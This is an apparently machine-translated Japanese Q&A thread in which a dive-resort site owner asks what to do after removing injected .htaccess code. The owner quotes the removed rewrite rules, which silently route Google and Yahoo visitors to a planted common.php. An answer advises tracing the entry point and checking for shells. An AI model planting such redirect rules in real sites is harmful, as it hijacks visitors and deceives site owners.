htaccess がハッキングされました - コードとファイルを削除しました - 次は何ですか?

htaccess がハッキングされました - コードとファイルを削除しました - 次は何ですか?

重複の可能性あり:
私のサーバーがハッキングされました 緊急

最近、私のウェブサイトがハッキングされました。htaccess ファイルに追加されたコードを見つけて削除し、htaccess ファイルが再度アクセスされないようにスクリプトを追加したと思います。また、ハッキングされたコードが参照する PHP ファイル (common.php) も削除しました。次に何をする必要がありますか? 私はプログラマーでもウェブサイト開発者でもありませんが、自分で問題を解決できるかどうか本当に知りたかったのです。かなりの時間を費やして試行錯誤し、簡単には諦めませんでした。

削除したハッキン​​グされたコードは次のとおりです。

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC] 
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond /home/httpd/vhosts/bluestardive.com/httpdocs/common.php -f
RewriteRule ^.*$    /common.php [L]
</IfModule>

このコードは、私の URL を SEO に適した URL にリダイレクトしたり、Web サイトのエラーを引き起こしたりするため、htaccess ファイル内に残しておく必要がありますが、このコードもハッキングされているのでしょうか?

# Apache search queries statistic module
RewriteEngine On
AddHandler php5-fastcgi .php .php5
# <contrexx>
#   <core_modules__alias>
    RewriteRule ^about-us$    /index.php?page=883 [L,NC]
    RewriteRule ^ausfluge-und-aktivitaten$    /index.php?page=800 [L,NC]
    RewriteRule ^bluestardive-news$    /index.php?page=919 [L,NC]
    RewriteRule ^bookings$    /index.php?page=911 [L,NC]
    RewriteRule ^diveresort$    /index.php?page=879 [L,NC]
    RewriteRule ^diving$    /index.php?page=880 [L,NC]
    RewriteRule ^excursions-and-activities$    /index.php?page=881 [L,NC]
    RewriteRule ^galerie$    /index.php?section=gallery [L,NC]
    RewriteRule ^oceannight$    http://www.bluestardive.com/index.php?page=906 [L,NC]
    RewriteRule ^philosophy$    /index.php?page=846 [L,NC]
    RewriteRule ^reservation$    /index.php?page=917 [L,NC]
    RewriteRule ^reservierung$    /index.php?page=918 [L,NC]
    RewriteRule ^resort$    /index.php?page=798 [L,NC]
#   </core_modules__alias>
# </contrexx>

答え1

このような状況で最善の策は、ユーザーのエントリ ポイントを正確に特定し、攻撃を複製することです。index.php の内部に何が含まれているかはわからないため、.htaccess に疑わしいものが追加されているかどうかはわかりません。

index.php がデータベースから直接データをエコーする場合、データベース内に悪意のあるコードを追加した可能性があり、他のファイルにいくつかの新しいエントリ ポイント (PHP シェル、脆弱性) を作成した可能性があります。

セキュリティ専門家に相談することを強くお勧めします。そうでない場合は、データベース エントリを含むサーバー上のすべてのファイルを徹底的に再検査してください。

将来の攻撃を防ぐために、彼の侵入ポイントも必ず把握してください。さらに情報が必要な場合は、いつでも私に連絡してください。

関連情報